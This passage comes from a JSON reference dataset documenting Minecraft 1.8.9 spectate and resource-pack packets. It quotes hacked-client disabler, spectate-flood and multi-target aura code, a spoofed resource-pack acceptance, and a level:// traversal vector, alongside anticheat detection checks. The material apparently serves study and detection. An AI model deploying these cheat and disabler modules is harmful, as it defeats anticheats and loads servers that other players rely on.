(C03PacketPlayer.C06PacketPlayerPosLook) packet;\n                event.setPacket(new C03PacketPlayer.C04PacketPlayerPosition(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (convertMovingPackets.isEnabled()) {\n            if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition) {\n                final C03PacketPlayer.C04PacketPlayerPosition packetPlayerPosition = (C03PacketPlayer.C04PacketPlayerPosition) packet;\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), mc.thePlayer.rotationYaw + (mc.thePlayer.ticksExisted % 2 == 0 ? RandomUtils.nextFloat(0.05F, 0.1F) : -RandomUtils.nextFloat(0.05F, 0.1F)), mc.thePlayer.rotationPitch, packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (mmcKeepSprint.isEnabled()) {\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n        }\n\n        if (mmcReach.isEnabled() && (PlayerUtil.isOnServer(\"minemen\") || PlayerUtil.isOnServer(\"mineman\"))) {\n            if (packet instanceof C0FPacketConfirmTransaction) {\n                event.setCancelled(true);\n            }\n        }\n    }\n\n    @Override\n    public void onStrafe(final StrafeEvent event) {\n        if (mineland.isEnabled()) {\n            PacketUtil.sendPacket(new C18PacketSpectate(UUID.randomUUID()));\n        }\n    }\n\n    @Override\n    public void onWorldChanged(final WorldChangedEvent event) {\n    }\n\n}\n// NOTE (AI): The C18 hits are in three disabler modes. verusOld sends C18 with UUID.randomUUID() every tick alongside C0C input; c18/shartemis modes send C18 with the player's own UUID; mineland sends C18 with a random UUID from onStrafe. The random-UUID forms force the server's handleSpectate to search every world for an entity that does not exist; the own-UUID form targets the spectator reset path. All three are sendPacketWithoutEvent, so they never re-enter the event bus.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Disabler.java",
      "vanilla_hook": "onPreMotion (PreMotionEvent), onStrafe (StrafeEvent).",
      "anti_cheat_notes": "The random-UUID flood is visible to anti-cheats that count C18 from non-spectators; the own-UUID form is the stealth variant and the one Rise 6.x keeps.",
      "variations": "Rise 6.x replaces this with the dedicated SpectateDisabler Mode; Tenacity's Criticals keeps the random-UUID C18 commented out."
     },
     {
      "name": "SpectateDisabler",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Send own-UUID C18 every strafe as a cheap desync probe against servers that track spectator packets.",
      "how_it_works": "On StrafeEvent, sends C18(mc.thePlayer.getUniqueID()) via sendNoEvent without any rate gating.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/SpectateDisabler.java =====\npackage com.alan.clients.module.impl.exploit.disabler;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.StrafeEvent;\nimport com.alan.clients.module.impl.exploit.Disabler;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.value.Mode;\nimport net.minecraft.network.play.client.C18PacketSpectate;\n\npublic class SpectateDisabler extends Mode<Disabler> {\n    public SpectateDisabler(String name, Disabler parent) {\n        super(name, parent);\n    }\n\n    @EventLink\n    public final Listener<StrafeEvent> onStrafe = event -> {\n        PacketUtil.sendNoEvent(new C18PacketSpectate(mc.thePlayer.getUniqueID()));\n    };\n}\n// NOTE (AI): SpectateDisabler is a Mode of the Rise 6.x Disabler. On every StrafeEvent it sends C18 with the player's own UUID via sendNoEvent. For a non-spectator the server's handleSpectate is a no-op after the isSpectator gate, so the packet is a free desync probe: it exercises the server's entity lookup every strafe without changing any state.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/SpectateDisabler.java",
      "vanilla_hook": "StrafeEvent.",
      "anti_cheat_notes": "Every strafe triggers a full cross-world lookup of the player's own UUID; the packet is a no-op state-wise for non-spectators, so detection is rate-based only.",
      "variations": "Identical Mode in Rise 6.1.30."
     },
     {
      "name": "MultiAura",
      "found_in": [
       "Memeware 7.3"
      ],
      "purpose": "Send C18 with the fixed CubeCraft UUID before each attack as part of the CubeCraft-targeted aura sequence.",
      "how_it_works": "In doUpdate, for every target the aura sends C18(CubeUtil.CUBECRAFT_UUID) silently, swings, then sends the C02 attack; the loop repeats on the click-speed timer.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/combat/aura/MultiAura.java =====\n\npackage me.memewaredevs.client.module.combat.aura;\n\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.combat.Aura;\nimport me.memewaredevs.client.util.CubeUtil;\nimport me.memewaredevs.client.util.combat.CombatUtil;\nimport me.memewaredevs.client.util.combat.RotationUtils;\nimport me.memewaredevs.client.util.misc.Timer;\nimport me.memewaredevs.client.util.packet.PacketUtil;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.item.ItemSword;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C18PacketSpectate;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Random;\n\npublic class MultiAura {\n    private static Timer timer = new Timer();\n    public static List<EntityLivingBase> targets = new ArrayList<>();\n    private static int index = 0;\n    private static Timer t = new Timer();\n    private static final Random RANDOM_NUMBER_GENERATOR = new Random();\n    private static int targetIndex;\n    public static boolean chance(int percent) {\n        return RANDOM_NUMBER_GENERATOR.nextInt(100) <= percent;\n    }\n    public static void doUpdate(final Aura aura, final UpdateEvent e, final Minecraft mc) {\n        double range = aura.getDouble(\"Range\");\n        final int blockPercentage = aura.getDouble(\"Block Chance\").intValue();\n        final boolean teams = false;\n        final List<EntityLivingBase> targets = CombatUtil.getTargets(teams, 100, false, true, range, true);\n        final boolean autoBlock = aura.getBool(\"Auto Block\");\n        final long clickSpeed = aura.getDouble(\"Click Speed\").longValue();\n        Aura.isBlocking = chance(blockPercentage) && mc.thePlayer.getHeldItem() != null && mc.thePlayer.getHeldItem().getItem() instanceof ItemSword\n                && autoBlock && CombatUtil.canBlock(teams, false, true, range + 4.0, true);\n        if (Aura.isBlocking) {\n            if (e.isPost()) {\n                mc.thePlayer.setItemInUse(mc.thePlayer.getHeldItem(), 140);\n                mc.playerController.sendUseItem(mc.thePlayer, mc.theWorld, mc.thePlayer.getHeldItem());\n            } else {\n                mc.thePlayer.sendQueue.addToSendQueue(new C07PacketPlayerDigging(\n                        C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.UP));\n            }\n        }\n        if (!targets.isEmpty()) {\n            if (targetIndex >= targets.size()) {\n                targetIndex = 0;\n            }\n            Aura.currentEntity = targets.get(0);\n            float[] rots = RotationUtils.getRotations(targets.get(targetIndex));\n            e.setYaw(rots[0]);\n            e.setPitch(rots[1]);\n        }\n        else {\n            targetIndex = 0;\n            Aura.currentEntity = null;\n        }\n        if (e.isPost()) {\n            return;\n        }\n        if (!timer.delay(1000L / clickSpeed)) {\n            return;\n        }\n        for (final Entity entity : targets) {\n            PacketUtil.sendPacketSilent(new C18PacketSpectate(CubeUtil.CUBECRAFT_UUID));\n            mc.thePlayer.swingItem();\n            mc.thePlayer.sendQueue.addToSendQueue(new C02PacketUseEntity(entity, C02PacketUseEntity.Action.ATTACK));\n        }\n        ++targetIndex;\n        timer.reset();\n    }\n}\n// NOTE (AI): MultiAura's doUpdate loop sends C18 with CubeUtil.CUBECRAFT_UUID before every attack packet while sweeping targets. CUBECRAFT_UUID is a fixed, non-existent UUID constant used across Memeware's movement and combat modules; the C18 send is the CubeCraft-specific component of the aura sequence. The C02 attack for each target follows immediately after.",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/combat/aura/MultiAura.java",
      "vanilla_hook": "UpdateEvent (via Aura).",
      "anti_cheat_notes": "The fixed UUID never resolves, so each attack carries a wasted lookup; on CubeCraft-era servers this was part of the attack desync, not a standalone flag.",
      "variations": "Nekoware v1 private imports C18 in its own MultiAura/Fly/Speed but has no call sites in the mined corpus."
     },
     {
      "name": "Fly / Speed (CubeCraft spectate)",
      "found_in": [
       "Memeware 7.3"
      ],
      "purpose": "Send C18 with the CubeCraft UUID from movement modules as part of the CubeCraft fly/speed bypass.",
      "how_it_works": "Fly sends C18(CubeUtil.CUBECRAFT_UUID) at two points in its mode logic and Speed at one, all via sendPacketSilent, alongside the movement packets that carry the actual exploit.",
      "detailed_code": null,
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/movement/Fly.java; me/memewaredevs/client/module/movement/Speed.java",
      "vanilla_hook": "UpdateEvent / movement events.",
      "anti_cheat_notes": "Same fixed-UUID pattern as MultiAura; detection was network-specific and is obsolete on modern CubeCraft.",
      "variations": "Nekoware v1 private mirrors the imports without usage; no other client uses C18 for movement."
     },
     {
      "name": "LuaEventPacket (script API)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Expose C18PacketSpectate to Lua scripts: the scripting packet wrapper maps the class to wire id 0x18 so Lua handlers can match outgoing spectate packets by id instead of by class reference.",
      "how_it_works": "LuaEventPacket wraps an EventPacket with a numeric packet id and a direction string ('out'/'in'). The static packetIds map hard-codes every serverbound play packet class to its wire id (the comment explains the map exists because obfuscation defeats reflection), C18PacketSpectate at 0x18. A script handler receives packet = 24, direction = 'out' and can drop or inject the C18 through the scripting event API.",
      "detailed_code": "// ===== FILE: November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java =====\n/* November.lol © 2023 */\npackage lol.november.scripting.wrapper.event;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.protect.DontObfuscate;\nimport lombok.Getter;\nimport lombok.Setter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Getter\n@Setter\n@DontObfuscate\npublic class LuaEventPacket {\n\n  /**\n   * A map of each {@link Packet} to their id\n   */\n  private static final Map<Class<? extends Packet<?>>, Integer> packetIds =\n    new HashMap<>();\n\n  static {\n    // you may ask: why not use reflection and just.. do a funny?\n    // obfuscation eventually happens so this aids has to happen\n\n    packetIds.put(C0APacketAnimation.class, 0x0A);\n    packetIds.put(C0BPacketEntityAction.class, 0x0B);\n    packetIds.put(C0CPacketInput.class, 0x0C);\n    packetIds.put(C0DPacketCloseWindow.class, 0x0D);\n    packetIds.put(C0EPacketClickWindow.class, 0x0E);\n    packetIds.put(C0FPacketConfirmTransaction.class, 0x0F);\n    packetIds.put(C00PacketKeepAlive.class, 0x00);\n    packetIds.put(C01PacketChatMessage.class, 0x01);\n    packetIds.put(C02PacketUseEntity.class, 0x02);\n    packetIds.put(C03PacketPlayer.class, 0x03);\n    packetIds.put(C03PacketPlayer.C04PacketPlayerPosition.class, 0x04);\n    packetIds.put(C03PacketPlayer.C05PacketPlayerLook.class, 0x05);\n    packetIds.put(C03PacketPlayer.C06PacketPlayerPosLook.class, 0x06);\n    packetIds.put(C07PacketPlayerDigging.class, 0x07);\n    packetIds.put(C08PacketPlayerBlockPlacement.class, 0x08);\n    packetIds.put(C09PacketHeldItemChange.class, 0x09);\n    packetIds.put(C10PacketCreativeInventoryAction.class, 0x10);\n    packetIds.put(C11PacketEnchantItem.class, 0x11);\n    packetIds.put(C12PacketUpdateSign.class, 0x12);\n    packetIds.put(C13PacketPlayerAbilities.class, 0x13);\n    packetIds.put(C14PacketTabComplete.class, 0x14);\n    packetIds.put(C15PacketClientSettings.class, 0x15);\n    packetIds.put(C16PacketClientStatus.class, 0x16);\n    packetIds.put(C17PacketCustomPayload.class, 0x17);\n    packetIds.put(C18PacketSpectate.class, 0x18);\n    packetIds.put(C19PacketResourcePackStatus.class, 0x19);\n  }\n\n  private final int packet;\n  private final String direction;\n\n  public LuaEventPacket(EventPacket event) {\n    packet = packetIds.getOrDefault(event.get().getClass(), -1);\n    direction = event.get() instanceof EventPacket.Out ? \"out\" : \"in\";\n  }\n}\n\n\n// NOTE (AI): The map is the only C18 reference in November Recode 2.0. Scripts get the packet as (id 0x18, direction 'out'); the class-to-id table is maintained by hand because the client is obfuscated. This is the scripting-API counterpart to Rise's Java-side spectate spam: same packet, different access layer.",
      "code_source": "November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java",
      "vanilla_hook": "EventPacket.Out on the November event bus, bridged into the Lua event wrapper.",
      "anti_cheat_notes": "None: the wrapper is read-only metadata. Scripts that spam C18 still incur the same server-side cross-world entity lookup as any other spectate flood, but the wrapper itself never touches the wire.",
      "variations": "The only November Recode 2.0 touchpoint for C18 in the corpus; Rise 5.99 and Rise 6.x reach the packet from Java disabler modes (Disabler spectate spam, SpectateDisabler) instead of a scripting layer."
     }
    ],
    "general_hooks": "StrafeEvent (Rise 6.x), PreMotionEvent/StrafeEvent (Rise 5.99), UpdateEvent (Memeware); November Recode 2.0 exposes the packet to Lua scripts via LuaEventPacket (EventPacket.Out).",
    "client_variations": "Rise 5.99 uses sendPacketWithoutEvent; Rise 6.x uses sendNoEvent; Memeware uses sendPacketSilent. PingSpoofComponent also holds C18 in its blink tuple in both Rise 6.x builds. November Recode 2.0 handles C18 only in the scripting layer: LuaEventPacket maps the class to id 0x18 for Lua handlers, with no Java module usage.",
    "related": [
     "S43PacketCamera",
     "S08PacketPlayerPosLook",
     "C03PacketPlayer"
    ],
    "anticheat": {
     "overview": "The spectate packet teleports the client camera to an entity UUID, so anticheats see it as an interact-adjacent stream. Grim folds it into MultiInteractA and SelfInteract (an interaction with another entity, or with self), and Artemis flags it outside spectator gamemode as a disabler attempt. The rest of the corpus is packet registrations and Grim's SpectateManager plumbing.",
     "checks": [
      {
       "name": "MultiInteractA spectate (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Count spectate-entity packets as interactions so multi-target aura cannot hide behind camera teleports.",
       "how_it_works": "Treats SPECTATE_ENTITY exactly like INTERACT_ENTITY and ATTACK in the interaction tracker. If two different entities, or two different sneak states, are targeted within one tick, the check flags and cancels, buffering the flags while the player is allowed to skip ticks.",
       "detects": "Multi-aura that teleports the camera between targets with spectate packets before attacking each one.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/combat/MultiInteractA.java =====\npackage ac.grim.grimac.checks.impl.combat;\n\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PostPredictionListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.PredictionComplete;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientAttack;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientInteractEntity;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientSpectateEntity;\n\nimport java.util.ArrayList;\n\n@CheckData(name = \"MultiInteractA\", stableKey = \"grim.multiinteract.multiple_targets\", description = \"Interacted with multiple entities in the same tick\", experimental = true)\npublic class MultiInteractA extends Check implements PacketReceiveListener, PostPredictionListener {\n    private static final Verbose V =\n            Verbose.of(\"lastEntity={sint}, entity={sint}, lastSneaking={bool}, sneaking={bool}\");\n\n    private final ArrayList<FlagData> flags = new ArrayList<>();\n    private int lastEntity;\n    private boolean lastSneaking;\n    private boolean hasInteracted = false;\n\n    public MultiInteractA(final GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.INTERACT_ENTITY) {\n            WrapperPlayClientInteractEntity packet = new WrapperPlayClientInteractEntity(event);\n            int entity = packet.getEntityId();\n            boolean sneaking = packet.isSneaking().orElse(false);\n            onInteract(event, entity, sneaking);\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.ATTACK) {\n            WrapperPlayClientAttack packet = new WrapperPlayClientAttack(event);\n            onInteract(event, packet.getEntityId(), lastSneaking);\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.SPECTATE_ENTITY) {\n            WrapperPlayClientSpectateEntity packet = new WrapperPlayClientSpectateEntity(event);\n            onInteract(event, packet.getEntityId(), lastSneaking);\n        }\n\n        if (!player.cameraEntity.isSelf() || isTickPacket(event.getPacketType())) {\n            hasInteracted = false;\n        }\n    }\n\n    private void onInteract(PacketReceiveEvent event, int entity, boolean sneaking) {\n        if (hasInteracted && (entity != lastEntity || sneaking != lastSneaking)) {\n            if (!player.canSkipTicks()) {\n                if (flag(V.write(verbose()).sint(lastEntity).sint(entity).bool(lastSneaking).bool(sneaking)) && shouldModifyPackets()) {\n                    event.setCancelled(true);\n                    player.onPacketCancel();\n                }\n            } else {\n                flags.add(new FlagData(lastEntity, entity, lastSneaking, sneaking));\n            }\n        }\n\n        lastEntity = entity;\n        lastSneaking = sneaking;\n        hasInteracted = true;\n    }\n\n    @Override\n    public void onPredictionComplete(PredictionComplete predictionComplete) {\n        if (!player.canSkipTicks()) return;\n\n        if (player.isTickingReliablyFor(3)) {\n            for (FlagData data : flags) {\n                flag(V.write(verbose()).sint(data.lastEntity()).sint(data.entity()).bool(data.lastSneaking()).bool(data.sneaking()));\n            }\n        }\n\n        flags.clear();\n    }\n\n    private record FlagData(int lastEntity, int entity, boolean lastSneaking, boolean sneaking) {}\n}\n\n// NOTE (AI): Spectate is treated as an interaction because a client that spectates an entity and attacks it in the same tick is abusing the camera teleport, which is how multi-aura modules chain targets.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/combat/MultiInteractA.java",
       "variations": "No other anticheat in the corpus folds spectate into an interact check; Artemis instead checks the gamemode (see below)."
      },
      {
       "name": "SelfInteract spectate (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Instantly ban spectating your own entity.",
       "how_it_works": "On SPECTATE_ENTITY (and also INTERACT_ENTITY and ATTACK), if the camera is on the player's own entity and the target resolves to the player's own entity id, the check cancels the packet and flags as an instant ban.",
       "detects": "Clients that spectate themselves, a disabler and camera-aura primitive used to mess with the server's camera state.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/combat/SelfInteract.java =====\npackage ac.grim.grimac.checks.impl.combat;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PreViaPacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientAttack;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientInteractEntity;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientSpectateEntity;\n\n@CheckData(name = \"SelfInteract\", stableKey = \"grim.badpackets.self_hit\", description = \"Interacted with self\")\npublic class SelfInteract extends Check implements PreViaPacketReceiveListener {\n    public SelfInteract(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPreViaPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.INTERACT_ENTITY) {\n            WrapperPlayClientInteractEntity packet = new WrapperPlayClientInteractEntity(event);\n            onInteract(event, packet.getEntityId());\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.ATTACK) {\n            WrapperPlayClientAttack packet = new WrapperPlayClientAttack(event);\n            onInteract(event, packet.getEntityId());\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.SPECTATE_ENTITY) {\n            WrapperPlayClientSpectateEntity packet = new WrapperPlayClientSpectateEntity(event);\n            onInteract(event, packet.getEntityId());\n        }\n    }\n\n    // TODO: should check for camera entity id instead of player entity id?\n    private void onInteract(PacketReceiveEvent event, int entityId) {\n        if (player.cameraEntity.isSelf() && entityId == player.entityID\n                && flag() && shouldModifyPackets()) { // Instant ban\n            event.setCancelled(true);\n            player.onPacketCancel();\n        }\n    }\n}\n\n// NOTE (AI): The check uses the player's entity id rather than the camera entity id, which the source flags as a possible edge case for camera-based spectating.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/combat/SelfInteract.java",
       "variations": "No other anticheat in the corpus checks self-spectate."
      },
      {
       "name": "DisablerSpectate (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Flag spectate packets sent outside spectator gamemode as a disabler attempt.",
       "how_it_works": "Listens for GPacketPlayClientSpectate and logs the player's gamemode whenever the player is not exempt by GAMEMODE. Repeated logs feed the DISABLER check with a threshold of 3.",
       "detects": "Players sending spectate packets in non-spectator gamemodes, which indicates a disabler trying to move the camera server-side.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.checks.regular/src/main/java/ac/artemis/checks/regular/v2/checks/impl/disabler/DisablerSpectate.java =====\npackage ac.artemis.checks.regular.v2.checks.impl.disabler;\n\nimport ac.artemis.core.v4.check.ArtemisCheck;\nimport ac.artemis.core.v4.check.PacketHandler;\nimport ac.artemis.core.v4.check.annotations.Check;\nimport ac.artemis.anticheat.api.check.type.Type;\nimport ac.artemis.core.v4.check.exempt.type.ExemptType;\nimport ac.artemis.core.v4.check.packet.PacketExcludable;\nimport ac.artemis.core.v4.check.settings.CheckInformation;\nimport ac.artemis.core.v4.data.PlayerData;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientSpectate;\n\n/**\n * @author Ghast\n * @since 05/07/2020\n */\n@Check(type = Type.DISABLER, var = \"SPT\", threshold = 3)\npublic class DisablerSpectate extends ArtemisCheck implements PacketHandler, PacketExcludable {\n\n    public DisablerSpectate(PlayerData data, CheckInformation info) {\n        super(data, info);\n        this.setCompatiblePackets(GPacketPlayClientSpectate.class);\n    }\n\n    @Override\n    public void handle(final GPacket packet) {\n        final boolean invalid = this.isExempt(ExemptType.GAMEMODE);\n\n        if (invalid) return;\n\n        this.log(\"gamemode=\" + data.getPlayer().getGameMode());\n    }\n}\n\n// NOTE (AI): The check relies on the vanilla rule that the server only processes spectate for gamemode 3, so any spectate packet elsewhere is already suspicious.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.checks.regular/src/main/java/ac/artemis/checks/regular/v2/checks/impl/disabler/DisablerSpectate.java",
       "variations": "Grim's SpectateManager and the Artemis wrapper classes are plumbing, not checks; this is the only corpus check that keys on the gamemode."
      }
     ]
    }
   },
   "wiki_notes": [
    "The target entity does not need to be in the same dimension, and the player is respawned in the right world if needed; the packet is ignored when the entity cannot be found or is not loaded. The vanilla client only uses it to teleport to players but the server appears to accept any entity type.",
    "MCP 1.8.9 C18PacketSpectate implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.handleSpectate; wire serde is readPacketData/writePacketData via readUuid.",
    "1.8.9 callers: PlayerMenuObject.func_178661_a sends new C18PacketSpectate (line 27): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/gui/spectator/PlayerMenuObject.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C18PacketSpectate/",
   "mcp_path": "net/minecraft/network/play/client/C18PacketSpectate.java",
   "group": "play-server",
   "logic_classes": []
  },
  {
   "id": "C19PacketResourcePackStatus",
   "hex": "0x19",
   "dec": 25,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Resource Pack Status",
   "desc": "Client reports the resource pack load status to the server. Sent after S48PacketResourcePackSend.",
   "tags": [
    "resourcepack",
    "download"
   ],
   "fields": [
    {
     "name": "hash",
     "type": "String",
     "desc": "SHA-1 hash of the resource pack (from S48)"
    },
    {
     "name": "status",
     "type": "VarInt Enum",
     "desc": "0=loaded, 1=declined, 2=failedDownload, 3=accepted"
    }
   ],
   "encoding": [
    [
     "Hash",
     "String",
     "SHA-1 hash of the pack"
    ],
    [
     "Result",
     "VarInt Enum",
     "0=loaded, 1=declined, 2=failedDownload, 3=accepted"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processResourcePackStatus()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "The server can force a resource pack. If the client declines, the server may kick the player.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C19 is the client's reply to S48PacketResourcePackSend: a hash String plus an Action enum (SUCCESSFULLY_LOADED, DECLINED, FAILED_DOWNLOAD, ACCEPTED). Vanilla sends ACCEPTED when the user confirms the download prompt, then SUCCESSFULLY_LOADED or FAILED_DOWNLOAD after the download resolves. Servers that require a pack gate features or membership on the ACCEPTED reply."
     },
     {
      "h": "Vanilla handling",
      "p": "The bundled 1.8.9 server handler, handleResourcePackStatus, is an empty method; decline kicks and pack-required logic are plugin territory. Client-side, NetHandlerPlayClient.handleResourcePackSend downloads the pack and reports the outcome through C19, and the download itself is a URL fetch with no scheme validation in vanilla, which is the hole the security modules patch."
     },
     {
      "h": "Why clients touch it",
      "p": "Two families. (1) Security: Rise 6.x ResourcePackCheck (a SecurityFeature) and Tenacity's AntiExploit module and Enhancements utility intercept S48, validate the URL scheme, block level:// traversal and non-http hosts, and answer C19 with FAILED_DOWNLOAD so the server's state machine stays consistent. (2) Disabler: Rise 5.99's c19 mode sends C19 with an empty hash and ACCEPTED to unlock pack-gated features without downloading. LiquidSense Dev adds a third family: a mixin on NetHandlerPlayClient's handleResourcePack performs the same scheme guard as family (1), answering C19 with FAILED_DOWNLOAD and the real hash. November Recode 2.0 only registers C19 in its Lua scripting id map (0x19)."
     },
     {
      "h": "Exploit surface",
      "p": "The level:// protocol reads files from the server's save directory; a malicious pack URL with path traversal is a server-to-client file disclosure vector, which is exactly what both security implementations check for. The empty-hash ACCEPTED spoof exploits plugins that match the hash against the last S48; a strict plugin sees the mismatch, a sloppy one unlocks the feature. Because the vanilla server handler is empty, declined packs never kick in vanilla; the whole battlefield is plugin-side."
     }
    ],
    "overview": "The resource-pack handshake reply. Security layers in Rise 6.x and Tenacity block malicious pack URLs and answer FAILED_DOWNLOAD, while Rise 5.99's Disabler spoofs ACCEPTED with an empty hash to unlock pack-gated features without downloading anything. LiquidSense Dev ships the same scheme guard as a mixin on the vanilla handler.",
    "server_handling": "handleResourcePackStatus is an empty no-op in the bundled 1.8.9 sources; pack-required kicks and feature gating live in plugins that read the Action. The client handler performs an unvalidated URL fetch, making S48 the disclosure vector and C19 the acknowledgment channel.",
    "protocol_notes": "String hash + VarInt enum action. The hash must echo the one from the triggering S48 for strict plugins. The enum order on the wire is SUCCESSFULLY_LOADED=0, DECLINED=1, FAILED_DOWNLOAD=2, ACCEPTED=3. C19 is only meaningful after an S48; a serverbound C19 with a hash the server never sent is the spoof signature.",
    "anticheat_landscape": "No anti-cheat measures C19. Anti-exploit plugins validate pack URLs server-side and match C19 hashes against their own S48 log; an empty-hash ACCEPTED or a FAILED_DOWNLOAD for a pack the server never sent is the detectable pattern. The security modules' FAILED_DOWNLOAD replies are indistinguishable from a genuine failed download, which is what makes them stealthy.",
    "modules": [
     {
      "name": "ResourcePackCheck",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Block malicious level:// resource packs and reply FAILED_DOWNLOAD to keep the server state machine consistent.",
      "how_it_works": "As a SecurityFeature it intercepts S48, validates scheme and path (no traversal, must end in /resources.zip), and on violation sends C19 FAILED_DOWNLOAD via sendNoEvent and cancels the pack.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/security/impl/ResourcePackCheck.java =====\npackage com.alan.clients.security.impl;\n\nimport com.alan.clients.security.SecurityFeature;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.S48PacketResourcePackSend;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\nimport java.net.URLDecoder;\nimport java.nio.charset.StandardCharsets;\n\npublic final class ResourcePackCheck extends SecurityFeature {\n\n    public ResourcePackCheck() {\n        super(\"Resource Pack Check\", \"Server attempted to view files on the computer\");\n    }\n\n    @Override\n    public boolean handle(final Packet<?> packet) {\n        if (packet instanceof S48PacketResourcePackSend) {\n            final S48PacketResourcePackSend wrapper = ((S48PacketResourcePackSend) packet);\n\n            final String url = wrapper.getURL();\n            final String hash = wrapper.getHash();\n\n            if (url.toLowerCase().startsWith(\"level://\")) {\n                return check(url, hash);\n            }\n        }\n\n        return false;\n    }\n\n    private boolean check(String url, final String hash) {\n        try 